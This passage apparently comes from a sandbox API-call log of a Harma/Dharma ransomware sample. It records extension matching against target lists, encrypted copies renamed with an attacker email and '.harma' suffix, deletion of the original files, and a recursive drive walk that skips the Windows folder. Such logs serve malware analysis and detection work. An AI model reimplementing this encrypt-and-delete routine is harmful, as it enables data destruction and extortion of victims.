shared\\filters\\offfiltx.dll")) returned 1 [0066.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.584] lstrlenW (lpString=".doc") returned 4 [0066.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.584] lstrlenW (lpString=".docx") returned 5 [0066.584] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0066.584] lstrlenW (lpString=".pdf") returned 4 [0066.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.584] lstrlenW (lpString=".xls") returned 4 [0066.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.584] lstrlenW (lpString=".xlsx") returned 5 [0066.584] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0066.584] lstrlenW (lpString=".ppt") returned 4 [0066.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.585] lstrlenW (lpString=".zip") returned 4 [0066.585] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.585] lstrlenW (lpString=".rar") returned 4 [0066.585] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.585] lstrlenW (lpString=".bz2") returned 4 [0066.585] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.585] lstrlenW (lpString=".7z") returned 3 [0066.585] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.585] lstrlenW (lpString=".dbf") returned 4 [0066.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.585] lstrlenW (lpString=".1cd") returned 4 [0066.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.585] lstrlenW (lpString=".jpg") returned 4 [0066.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.585] lstrlenW (lpString=".doc") returned 4 [0066.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.585] lstrlenW (lpString=".docx") returned 5 [0066.585] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0066.585] lstrlenW (lpString=".pdf") returned 4 [0066.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.585] lstrlenW (lpString=".xls") returned 4 [0066.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.585] lstrlenW (lpString=".xlsx") returned 5 [0066.585] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0066.585] lstrlenW (lpString=".ppt") returned 4 [0066.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.586] lstrlenW (lpString=".zip") returned 4 [0066.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.586] lstrlenW (lpString=".rar") returned 4 [0066.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.586] lstrlenW (lpString=".bz2") returned 4 [0066.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.586] lstrlenW (lpString=".7z") returned 3 [0066.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.586] lstrlenW (lpString=".dbf") returned 4 [0066.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.586] lstrlenW (lpString=".1cd") returned 4 [0066.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0066.586] lstrlenW (lpString=".jpg") returned 4 [0066.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.586] lstrcmpiW (lpString1=".CFG", lpString2=".harma") returned -1 [0066.586] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0066.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0066.587] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=6811) returned 1 [0066.587] CloseHandle (hObject=0x204) returned 1 [0066.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0066.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0066.587] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.587] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0066.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0066.588] GetLastError () returned 0x0 [0066.588] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0067.950] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0067.951] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x35ffed4*=0x0, lpOverlapped=0x0) returned 1 [0067.951] WriteFile (in: hFile=0x1e0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0067.951] SetEndOfFile (hFile=0x1e0) returned 1 [0067.951] CloseHandle (hObject=0x1e0) returned 1 [0067.952] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0067.952] SetEndOfFile (hFile=0x204) returned 1 [0067.952] CloseHandle (hObject=0x204) returned 1 [0067.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0067.953] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0068.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.389] lstrlenW (lpString=".doc") returned 4 [0068.389] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0068.389] lstrlenW (lpString=".docx") returned 5 [0068.389] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0068.389] lstrlenW (lpString=".pdf") returned 4 [0068.389] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0068.389] lstrlenW (lpString=".xls") returned 4 [0068.390] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString=".xlsx") returned 5 [0068.390] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0068.390] lstrlenW (lpString=".ppt") returned 4 [0068.390] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.390] lstrlenW (lpString=".zip") returned 4 [0068.390] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString=".rar") returned 4 [0068.390] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString=".bz2") returned 4 [0068.390] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0068.390] lstrlenW (lpString=".7z") returned 3 [0068.390] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0068.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.390] lstrlenW (lpString=".dbf") returned 4 [0068.390] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.390] lstrlenW (lpString=".1cd") returned 4 [0068.390] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0068.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.390] lstrlenW (lpString=".jpg") returned 4 [0068.390] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.390] lstrlenW (lpString=".doc") returned 4 [0068.390] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0068.390] lstrlenW (lpString=".docx") returned 5 [0068.390] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0068.390] lstrlenW (lpString=".pdf") returned 4 [0068.390] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0068.391] lstrlenW (lpString=".xls") returned 4 [0068.391] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0068.391] lstrlenW (lpString=".xlsx") returned 5 [0068.391] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0068.391] lstrlenW (lpString=".ppt") returned 4 [0068.391] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0068.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.391] lstrlenW (lpString=".zip") returned 4 [0068.391] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0068.391] lstrlenW (lpString=".rar") returned 4 [0068.391] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0068.391] lstrlenW (lpString=".bz2") returned 4 [0068.391] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0068.391] lstrlenW (lpString=".7z") returned 3 [0068.391] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0068.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.391] lstrlenW (lpString=".dbf") returned 4 [0068.391] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0068.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.391] lstrlenW (lpString=".1cd") returned 4 [0068.391] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0068.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0068.391] lstrlenW (lpString=".jpg") returned 4 [0068.391] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0068.391] lstrcmpiW (lpString1=".WPG", lpString2=".harma") returned 1 [0068.391] lstrlenW (lpString="MS.WPG") returned 6 [0068.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 17 os_tid = 0xa00 [0039.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3690728 [0039.420] lstrlenW (lpString="C:") returned 2 [0039.420] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x394fd00 | out: lpFindFileData=0x394fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x690cf0 [0039.420] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0039.420] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0039.420] lstrlenW (lpString="$Recycle.Bin") returned 12 [0039.420] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0039.420] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36a0730 [0039.421] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0039.421] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x690d30 [0039.421] FindNextFileW (in: hFindFile=0x690d30, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.421] FindNextFileW (in: hFindFile=0x690d30, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0039.421] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0039.421] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0039.421] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0039.421] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0039.421] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.422] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0039.422] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x691d78 [0039.422] FindNextFileW (in: hFindFile=0x691d78, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.422] FindNextFileW (in: hFindFile=0x691d78, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0039.422] lstrlenW (lpString="desktop.ini") returned 11 [0039.422] lstrlenW (lpString=".1cd") returned 4 [0039.422] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0039.422] lstrlenW (lpString=".3ds") returned 4 [0039.422] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0039.422] lstrlenW (lpString=".3fr") returned 4 [0039.422] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0039.422] lstrlenW (lpString=".3g2") returned 4 [0039.422] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".3gp") returned 4 [0039.423] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".7z") returned 3 [0039.423] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0039.423] lstrlenW (lpString=".accda") returned 6 [0039.423] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0039.423] lstrlenW (lpString=".accdb") returned 6 [0039.423] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0039.423] lstrlenW (lpString=".accdc") returned 6 [0039.423] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0039.423] lstrlenW (lpString=".accde") returned 6 [0039.423] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0039.423] lstrlenW (lpString=".accdt") returned 6 [0039.423] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0039.423] lstrlenW (lpString=".accdw") returned 6 [0039.423] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0039.423] lstrlenW (lpString=".adb") returned 4 [0039.423] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".adp") returned 4 [0039.423] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".ai") returned 3 [0039.423] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0039.423] lstrlenW (lpString=".ai3") returned 4 [0039.423] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".ai4") returned 4 [0039.423] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".ai5") returned 4 [0039.423] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".ai6") returned 4 [0039.423] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0039.423] lstrlenW (lpString=".ai7") returned 4 [0039.423] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".ai8") returned 4 [0039.424] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".anim") returned 5 [0039.424] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0039.424] lstrlenW (lpString=".arw") returned 4 [0039.424] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".as") returned 3 [0039.424] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0039.424] lstrlenW (lpString=".asa") returned 4 [0039.424] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".asc") returned 4 [0039.424] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".ascx") returned 5 [0039.424] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0039.424] lstrlenW (lpString=".asm") returned 4 [0039.424] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".asmx") returned 5 [0039.424] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0039.424] lstrlenW (lpString=".asp") returned 4 [0039.424] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".aspx") returned 5 [0039.424] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0039.424] lstrlenW (lpString=".asr") returned 4 [0039.424] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".asx") returned 4 [0039.424] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".avi") returned 4 [0039.424] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".avs") returned 4 [0039.424] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0039.424] lstrlenW (lpString=".backup") returned 7 [0039.424] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0039.424] lstrlenW (lpString=".bak") returned 4 [0039.425] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".bay") returned 4 [0039.425] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".bd") returned 3 [0039.425] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0039.425] lstrlenW (lpString=".bin") returned 4 [0039.425] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".bmp") returned 4 [0039.425] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".bz2") returned 4 [0039.425] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".c") returned 2 [0039.425] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0039.425] lstrlenW (lpString=".cdr") returned 4 [0039.425] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".cer") returned 4 [0039.425] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".cf") returned 3 [0039.425] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0039.425] lstrlenW (lpString=".cfc") returned 4 [0039.425] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".cfm") returned 4 [0039.425] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".cfml") returned 5 [0039.425] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0039.425] lstrlenW (lpString=".cfu") returned 4 [0039.425] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".chm") returned 4 [0039.425] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".cin") returned 4 [0039.425] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0039.425] lstrlenW (lpString=".class") returned 6 [0039.425] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0039.426] lstrlenW (lpString=".clx") returned 4 [0039.426] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".config") returned 7 [0039.426] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0039.426] lstrlenW (lpString=".cpp") returned 4 [0039.426] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".cr2") returned 4 [0039.426] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".crt") returned 4 [0039.426] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".crw") returned 4 [0039.426] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".cs") returned 3 [0039.426] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0039.426] lstrlenW (lpString=".css") returned 4 [0039.426] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".csv") returned 4 [0039.426] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".cub") returned 4 [0039.426] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".dae") returned 4 [0039.426] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".dat") returned 4 [0039.426] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0039.426] lstrlenW (lpString=".db") returned 3 [0039.426] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0039.426] lstrlenW (lpString=".dbf") returned 4 